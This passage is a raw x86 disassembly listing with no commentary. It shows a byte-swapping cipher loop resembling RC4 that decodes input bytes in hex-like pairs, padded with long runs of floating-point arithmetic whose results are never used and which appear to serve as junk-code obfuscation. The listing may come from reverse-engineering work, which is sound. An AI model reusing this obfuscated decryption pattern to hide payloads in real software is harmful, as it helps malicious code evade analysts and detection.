movzx ecx, byte [ebp - 0x3295]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea esi, [ebp - 0x1e18]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3296]
shl edx, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d9]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3333]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3296], al
mov al, byte [ebp - 0x3334]
mov byte [ebp - 0x32d9], al
mov cl, byte [ebp - 0x3296]
mov byte [ebp - 0x345b], cl
cmp dword [ebp - 0x33cc], 0
jbe 0x495352
mov edx, dword [ebp - 0x33cc]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x10]
mov cl, byte [ebp - 0x345b]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x33cc]
add edx, 1
mov dword [ebp - 0x33cc], edx
mov eax, dword [ebp - 0x3754]
add eax, 1
mov dword [ebp - 0x3754], eax
mov ecx, dword [ebp - 0x33cc]
shl ecx, 1
mov dword [ebp - 0x3e48], ecx
mov edx, dword [ebp - 0x3e48]
shl edx, 0
add edx, dword [ebp - 0x3f70]
movzx eax, byte [edx]
mov dword [ebp - 0x3ce4], eax
mov dword [ebp - 0x3ce8], 0xbd
mov ecx, dword [ebp - 0x33cc]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e4c], ecx
mov edx, dword [ebp - 0x3e4c]
shl edx, 0
add edx, dword [ebp - 0x3f70]
movzx eax, byte [edx]
mov dword [ebp - 0x3cec], eax
mov dword [ebp - 0x3b78], 0xa7
mov ecx, dword [ebp - 0x3ce4]
sub ecx, dword [ebp - 0x3ce8]
mov dword [ebp - 0x3b7c], ecx
mov edx, dword [ebp - 0x3cec]
sub edx, dword [ebp - 0x3b78]
mov dword [ebp - 0x3b80], edx
mov eax, dword [ebp - 0x3b7c]
shl eax, 4
mov dword [ebp - 0x3e50], eax
mov ecx, dword [ebp - 0x3b80]
mov dword [ebp - 0x3e54], ecx
mov edx, dword [ebp - 0x3e50]
or edx, dword [ebp - 0x3e54]
mov dword [ebp - 0x3e58], edx
mov al, byte [ebp - 0x3e58]
mov byte [ebp - 0x3334], al
movzx ecx, byte [ebp - 0x32d9]
shl ecx, 0
lea edx, [ebp - 0x1e18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3330], al
movsd xmm0, qword [0x9d4a38]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [0x9d4828]
movsd qword [ebp - 0x4cb4], xmm0
movsd xmm0, qword [0x9d4670]
movsd qword [ebp - 0x58b4], xmm0
movsd xmm0, qword [0x9d4490]
movsd qword [ebp - 0x4f64], xmm0
movsd xmm0, qword [0x9d42b8]
movsd qword [ebp - 0x4b18], xmm0
movsd xmm0, qword [0x9d40e0]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [0x9d3ee0]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x4b18]
subsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4b18], xmm0
movsd xmm0, qword [ebp - 0x4b18]
mulsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4b18], xmm0
movsd xmm0, qword [ebp - 0x4f64]
mulsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4f64], xmm0
movsd xmm0, qword [ebp - 0x58b4]
subsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x58b4], xmm0
movsd xmm0, qword [ebp - 0x4f64]
subsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4f64], xmm0
movsd xmm0, qword [ebp - 0x4f64]
mulsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4f64], xmm0
movsd xmm0, qword [ebp - 0x4cb4]
subsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4cb4], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
comisd xmm0, xmmword [ebp - 0x4f64]
jbe 0x495837
movsd xmm0, qword [ebp - 0x4cb4]
addsd xmm0, qword [ebp - 0x58b4]
movsd qword [ebp - 0x4cb4], xmm0
movsd xmm0, qword [ebp - 0x4b18]
addsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x4b18], xmm0
movsd xmm0, qword [ebp - 0x4204]
addsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4204]
addsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4204]
divsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
addsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x4f64]
subsd xmm0, qword [ebp - 0x4b18]
movsd qword [ebp - 0x4f64], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
mulsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
divsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x476c]
mulsd xmm0, qword [ebp - 0x58b4]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x4b18]
divsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4b18], xmm0
movsd xmm0, qword [ebp - 0x476c]
subsd xmm0, qword [ebp - 0x58b4]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x4b18]
subsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4b18], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
addsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x4cb4]
comisd xmm0, xmmword [ebp - 0x4f64]
jbe 0x49578a
movsd xmm0, qword [ebp - 0x4204]
addsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4b18]
mulsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4b18], xmm0
movsd xmm0, qword [ebp - 0x4cb4]
mulsd xmm0, qword [ebp - 0x4f64]
movsd qword [ebp - 0x4cb4], xmm0
movsd xmm0, qword [ebp - 0x4204]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4cb4]
subsd xmm0, qword [ebp - 0x4f64]
movsd qword [ebp - 0x4cb4], xmm0
movsd xmm0, qword [ebp - 0x4204]
divsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4204]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4204], xmm0
jmp 0x495832
movsd xmm0, qword [ebp - 0x4b18]
addsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x4b18], xmm0
movsd xmm0, qword [ebp - 0x4204]
addsd xmm0, qword [ebp - 0x3e9c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x476c]
addsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x476c]
subsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
mulsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x476c]
addsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x476c], xmm0
jmp 0x495911
movsd xmm0, qword [ebp - 0x58b4]
mulsd xmm0, qword [ebp - 0x4b18]
movsd qword [ebp - 0x58b4], xmm0
movsd xmm0, qword [ebp - 0x3e9c]
subsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x3e9c], xmm0
movsd xmm0, qword [ebp - 0x4204]
mulsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4f64]
addsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x4f64], xmm0
movsd xmm0, qword [ebp - 0x4204]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4204]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4204], xmm0
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3295]
add ecx, eax
mov byte [ebp - 0x3295], cl
mov dl, byte [ebp - 0x325a]
add dl, 1
mov byte [ebp - 0x325a], dl
movsd xmm0, qword [ebp - 0x58b4]
addsd xmm0, qword [ebp - 0x4b18]
movsd qword [ebp - 0x58b4], xmm0
movzx eax, byte [ebp - 0x3295]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [ebp - 0x32d9]
shl edx, 0
lea esi, [ebp - 0x1e18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3296]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ebp - 0x3295]
shl eax, 0
lea esi, [ebp - 0x1e18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ebp - 0x3296]
shl ecx, 0
lea esi, [ebp - 0x1e18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov dl, byte [ebp - 0x3330]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3330]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3333]
add eax, edx
mov byte [ebp - 0x3333], al
movzx ecx, byte [ebp - 0x3334]
movzx edx, byte [ebp - 0x3295]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea esi, [ebp - 0x1e18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3296]
shl eax, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d9]
shl edx, 0
lea esi, [ebp - 0x1e18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3333]
shl edx, 0
lea esi, [ebp - 0x1e18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3296], cl
mov cl, byte [ebp - 0x3334]
mov byte [ebp - 0x32d9], cl
mov dl, byte [ebp - 0x3296]
mov byte [ebp - 0x345b], dl
cmp dword [ebp - 0x33cc], 0
jbe 0x495aa5
mov eax, dword [ebp - 0x33cc]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x10]
mov dl, byte [ebp - 0x345b]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x33cc]
add eax, 1
mov dword [ebp - 0x33cc], eax
mov ecx, dword [ebp - 0x3754]
add ecx, 1
mov dword [ebp - 0x3754], ecx
mov edx, dword [ebp - 0x33cc]
shl edx, 1
mov dword [ebp - 0x3e48], edx
mov eax, dword [ebp - 0x3e48]
shl eax, 0
add eax, dword [ebp - 0x3f70]
movzx ecx, byte [eax]
mov dword [ebp - 0x3ce4], ecx
mov dword [ebp - 0x3ce8], 0xbd
mov edx, dword [ebp - 0x33cc]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e4c], edx
mov eax, dword [ebp - 0x3e4c]
shl eax, 0
add eax, dword [ebp - 0x3f70]
movzx ecx, byte [eax]
mov dword [ebp - 0x3cec], ecx
mov dword [ebp - 0x3b78], 0xa7
mov edx, dword [ebp - 0x3ce4]
sub edx, dword [ebp - 0x3ce8]
mov dword [ebp - 0x3b7c], edx
mov eax, dword [ebp - 0x3cec]
sub eax, dword [ebp - 0x3b78]
mov dword [ebp - 0x3b80], eax
mov ecx, dword [ebp - 0x3b7c]
shl ecx, 4
mov dword [ebp - 0x3e50], ecx
mov edx, dword [ebp - 0x3b80]
mov dword [ebp - 0x3e54], edx
mov eax, dword [ebp - 0x3e50]
or eax, dword [ebp - 0x3e54]
mov dword [ebp - 0x3e58], eax
mov cl, byte [ebp - 0x3e58]
mov byte [ebp - 0x3334], cl
movzx edx, byte [ebp - 0x32d9]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3330], cl
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3295]
add edx, ecx
mov byte [ebp - 0x3295], dl
mov al, byte [ebp - 0x325a]
add al, 1
mov byte [ebp - 0x325a], al
movzx ecx, byte [ebp - 0x3295]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ebp - 0x32d9]
shl eax, 0
lea esi, [ebp - 0x1e18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3296]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ebp - 0x3295]
shl ecx, 0
lea esi, [ebp - 0x1e18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [ebp - 0x3296]
shl edx, 0
lea esi, [ebp - 0x1e18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea edx, [ebp - 0x1e18]
mov al, byte [ebp - 0x3330]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3330]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3333]
add ecx, eax
mov byte [ebp - 0x3333], cl
movzx edx, byte [ebp - 0x3334]
movzx eax, byte [ebp - 0x3295]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3296]
shl ecx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d9]
shl eax, 0
lea esi, [ebp - 0x1e18]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3333]
shl eax, 0
lea esi, [ebp - 0x1e18]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3296], dl
mov dl, byte [ebp - 0x3334]
mov byte [ebp - 0x32d9], dl
mov al, byte [ebp - 0x3296]
mov byte [ebp - 0x345b], al
cmp dword [ebp - 0x33cc], 0
jbe 0x495d61
mov ecx, dword [ebp - 0x33cc]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x10]
mov al, byte [ebp - 0x345b]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3754]
add ecx, 2
mov dword [ebp - 0x3754], ecx
mov edx, dword [ebp - 0x33cc]
add edx, 1
mov dword [ebp - 0x4ac8], edx
jmp 0x495d90
mov eax, dword [ebp - 0x4ac8]
add eax, 1
mov dword [ebp - 0x4ac8], eax
mov ecx, dword [ebp - 0x4ac8]
cmp ecx, dword [ebp - 0x3754]
jge 0x4966cf
mov edx, dword [ebp - 0x33cc]
add edx, 1
mov dword [ebp - 0x33cc], edx
mov eax, dword [ebp - 0x33cc]
shl eax, 1
mov dword [ebp - 0x3e48], eax
mov ecx, dword [ebp - 0x3e48]
shl ecx, 0
add ecx, dword [ebp - 0x3f70]
movzx edx, byte [ecx]
mov dword [ebp - 0x3ce4], edx
mov dword [ebp - 0x3ce8], 0xbd
mov eax, dword [ebp - 0x33cc]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e4c], eax
mov ecx, dword [ebp - 0x3e4c]
shl ecx, 0
add ecx, dword [ebp - 0x3f70]
movzx edx, byte [ecx]
mov dword [ebp - 0x3cec], edx
mov dword [ebp - 0x3b78], 0xa7
mov eax, dword [ebp - 0x3ce4]
sub eax, dword [ebp - 0x3ce8]
mov dword [ebp - 0x3b7c], eax
movsd xmm0, qword [0x9d4a30]
movsd qword [ebp - 0x4d0c], xmm0
movsd xmm0, qword [0x9d47d8]
movsd qword [ebp - 0x4f1c], xmm0
movsd xmm0, qword [0x9d45b8]
movsd qword [ebp - 0x4568], xmm0
movsd xmm0, qword [0x9d4390]
movsd qword [ebp - 0x4e00], xmm0
movsd xmm0, qword [0x9d4190]
movsd qword [ebp - 0x4560], xmm0
movsd xmm0, qword [0x9d3f08]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x4560]
subsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4560], xmm0
movsd xmm0, qword [ebp - 0x4568]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4568], xmm0
movsd xmm0, qword [ebp - 0x4d0c]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4d0c], xmm0
movsd xmm0, qword [ebp - 0x4560]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4560], xmm0
movsd xmm0, qword [ebp - 0x4d0c]
addsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4d0c], xmm0
movsd xmm0, qword [ebp - 0x4568]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4568], xmm0
movsd xmm0, qword [ebp - 0x4568]
comisd xmm0, xmmword [ebp - 0x420c]
jbe 0x495fd3
movsd xmm0, qword [ebp - 0x4560]
subsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4560], xmm0
movsd xmm0, qword [ebp - 0x420c]
mulsd xmm0, qword [ebp - 0x4d0c]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x4560]
addsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4560], xmm0
mov ecx, dword [ebp - 0x3cec]
sub ecx, dword [ebp - 0x3b78]
mov dword [ebp - 0x3b80], ecx
movsd xmm0, qword [ebp - 0x4e00]
subsd xmm0, qword [ebp - 0x4560]
movsd qword [ebp - 0x4e00], xmm0
movsd xmm0, qword [ebp - 0x4560]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4560], xmm0
movsd xmm0, qword [ebp - 0x420c]
subsd xmm0, qword [ebp - 0x4d0c]
movsd qword [ebp - 0x420c], xmm0
jmp 0x49622e
movsd xmm0, qword [ebp - 0x4d0c]
mulsd xmm0, qword [ebp - 0x4568]
movsd qword [ebp - 0x4d0c], xmm0
movsd xmm0, qword [ebp - 0x4d0c]
divsd xmm0, qword [ebp - 0x4568]
movsd qword [ebp - 0x4d0c], xmm0
movsd xmm0, qword [ebp - 0x4560]
mulsd xmm0, qword [ebp - 0x4d0c]
movsd qword [ebp - 0x4560], xmm0
movsd xmm0, qword [ebp - 0x4e00]
divsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4e00], xmm0
movsd xmm0, qword [ebp - 0x4e00]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4e00], xmm0
movsd xmm0, qword [ebp - 0x4568]
subsd xmm0, qword [ebp - 0x4560]
movsd qword [ebp - 0x4568], xmm0
movsd xmm0, qword [ebp - 0x4560]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4560], xmm0
movsd xmm0, qword [ebp - 0x4f1c]
subsd xmm0, qword [ebp - 0x4568]
movsd qword [ebp - 0x4f1c], xmm0
movsd xmm0, qword [ebp - 0x4d0c]
divsd xmm0, qword [ebp - 0x4f1c]
movsd qword [ebp - 0x4d0c], xmm0
movsd xmm0, qword [ebp - 0x4568]
addsd xmm0, qword [ebp - 0x4e00]
movsd qword [ebp - 0x4568], xmm0
movsd xmm0, qword [ebp - 0x4f1c]
addsd xmm0, qword [ebp - 0x4568]
movsd qword [ebp - 0x4f1c], xmm0
movsd xmm0, qword [ebp - 0x420c]
subsd xmm0, qword [ebp - 0x4d0c]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x420c]
comisd xmm0, xmmword [ebp - 0x4f1c]
jbe 0x49619e
movsd xmm0, qword [ebp - 0x420c]
subsd xmm0, qword [ebp - 0x4d0c]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x4e00]
addsd xmm0, qword [ebp - 0x4560]
movsd qword [ebp - 0x4e00], xmm0
movsd xmm0, qword [ebp - 0x4e00]
subsd xmm0, qword [ebp - 0x4560]
movsd qword [ebp - 0x4e00], xmm0
movsd xmm0, qword [ebp - 0x4560]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x4560], xmm0
movsd xmm0, qword [ebp - 0x4568]
divsd xmm0, qword [ebp - 0x4e00]
movsd qword [ebp - 0x4568], xmm0
movsd xmm0, qword [ebp - 0x4f1c]
mulsd xmm0, qword [ebp - 0x4568]
movsd qword [ebp - 0x4f1c], xmm0
jmp 0x49622e
movsd xmm0, qword [ebp - 0x4f1c]
subsd xmm0, qword [ebp - 0x4568]
movsd qword [ebp - 0x4f1c], xmm0
movsd xmm0, qword [ebp - 0x4e00]
addsd xmm0, qword [ebp - 0x4560]
movsd qword [ebp - 0x4e00], xmm0
movsd xmm0, qword [ebp - 0x420c]
addsd xmm0, qword [ebp - 0x4d0c]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x4568]
mulsd xmm0, qword [ebp - 0x4e00]
movsd qword [ebp - 0x4568], xmm0
movsd xmm0, qword [ebp - 0x4f1c]
addsd xmm0, qword [ebp - 0x4568]
movsd qword [ebp - 0x4f1c], xmm0
movsd xmm0, qword [ebp - 0x4f1c]
addsd xmm0, qword [ebp - 0x4568]
movsd qword [ebp - 0x4f1c], xmm0
mov edx, dword [ebp - 0x3b7c]
shl edx, 4
mov dword [ebp - 0x3e50], edx
mov eax, dword [ebp - 0x3b80]
mov dword [ebp - 0x3e54], eax
mov ecx, dword [ebp - 0x3e50]
or ecx, dword [ebp - 0x3e54]
mov dword [ebp - 0x3e58], ecx
mov dl, byte [ebp - 0x3e58]
mov byte [ebp - 0x3334], dl
movsd xmm0, qword [0x9d4e08]
movsd qword [ebp - 0x58c4], xmm0
movsd xmm0, qword [0x9d4cf8]
movsd qword [ebp - 0x5c58], xmm0
movsd xmm0, qword [0x9d4b28]
movsd qword [ebp - 0x5794], xmm0
movsd xmm0, qword [0x9d4878]
movsd qword [ebp - 0x59c0], xmm0
movsd xmm0, qword [0x9d4598]
movsd qword [ebp - 0x6020], xmm0
movsd xmm0, qword [0x9d42d0]
movsd qword [ebp - 0x58bc], xmm0
movsd xmm0, qword [0x9d3fb0]
movsd qword [ebp - 0x48b4], xmm0
movsd xmm0, qword [ebp - 0x5794]
mulsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x5794], xmm0
movsd xmm0, qword [ebp - 0x6020]
subsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x6020], xmm0
movsd xmm0, qword [ebp - 0x59c0]
mulsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x59c0], xmm0
movsd xmm0, qword [ebp - 0x5794]
addsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x5794], xmm0
movsd xmm0, qword [ebp - 0x5794]
subsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x5794], xmm0
movsd xmm0, qword [ebp - 0x58bc]
subsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x58bc], xmm0
movsd xmm0, qword [ebp - 0x58c4]
mulsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x58c4], xmm0
movsd xmm0, qword [ebp - 0x58bc]
comisd xmm0, xmmword [ebp - 0x58c4]
jbe 0x496442
movsd xmm0, qword [ebp - 0x59c0]
divsd xmm0, qword [ebp - 0x6020]
movsd qword [ebp - 0x59c0], xmm0
movsd xmm0, qword [ebp - 0x58bc]
subsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x58bc], xmm0
movsd xmm0, qword [ebp - 0x58c4]
divsd xmm0, qword [ebp - 0x5c58]
movsd qword [ebp - 0x58c4], xmm0
movsd xmm0, qword [ebp - 0x48b4]
mulsd xmm0, qword [ebp - 0x58c4]
movsd qword [ebp - 0x48b4], xmm0
movsd xmm0, qword [ebp - 0x5c58]
divsd xmm0, qword [ebp - 0x5794]
movsd qword [ebp - 0x5c58], xmm0
movsd xmm0, qword [ebp - 0x48b4]
subsd xmm0, qword [ebp - 0x58c4]
movsd qword [ebp - 0x48b4], xmm0
movsd xmm0, qword [ebp - 0x58bc]
addsd xmm0, qword [ebp - 0x48b4]
movsd qword [ebp - 0x58bc], xmm0
jmp 0x496503
movsd xmm0, qword [ebp - 0x59c0]
addsd xmm0, qword [ebp - 0x58bc]
movsd qword [ebp - 0x59c0], xmm0
movsd xmm0, qword [ebp - 0x59c0]
addsd xmm0, qword [ebp - 0x58bc]
movsd qword [ebp - 0x59c0], xmm0
movsd xmm0, qword [ebp - 0x58c4]
mulsd xmm0, qword [ebp - 0x5794]
movsd qword [ebp - 0x58c4], xmm0
movzx eax, byte [ebp - 0x32d9]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3330], dl
movsd xmm0, qword [ebp - 0x48b4]
addsd xmm0, qword [ebp - 0x5c58]
movsd qword [ebp - 0x48b4], xmm0
movsd xmm0, qword [ebp - 0x48b4]
addsd xmm0, qword [ebp - 0x5c58]
movsd qword [ebp - 0x48b4], xmm0
movsd xmm0, qword [ebp - 0x48b4]
subsd xmm0, qword [ebp - 0x5c58]
movsd qword [ebp - 0x48b4], xmm0
movsd xmm0, qword [ebp - 0x5794]
addsd xmm0, qword [ebp - 0x6020]
movsd qword [ebp - 0x5794], xmm0
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3295]
add eax, edx
mov byte [ebp - 0x3295], al
mov cl, byte [ebp - 0x325a]
add cl, 1
mov byte [ebp - 0x325a], cl
movzx edx, byte [ebp - 0x3295]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ebp - 0x32d9]
shl ecx, 0
lea esi, [ebp - 0x1e18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3296]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [ebp - 0x3295]
shl edx, 0
lea esi, [ebp - 0x1e18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ebp - 0x3296]
shl eax, 0
lea esi, [ebp - 0x1e18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov cl, byte [ebp - 0x3330]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3330]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3333]
add edx, ecx
mov byte [ebp - 0x3333], dl
movzx eax, byte [ebp - 0x3334]
movzx ecx, byte [ebp - 0x3295]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea esi, [ebp - 0x1e18]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3296]
shl edx, 0
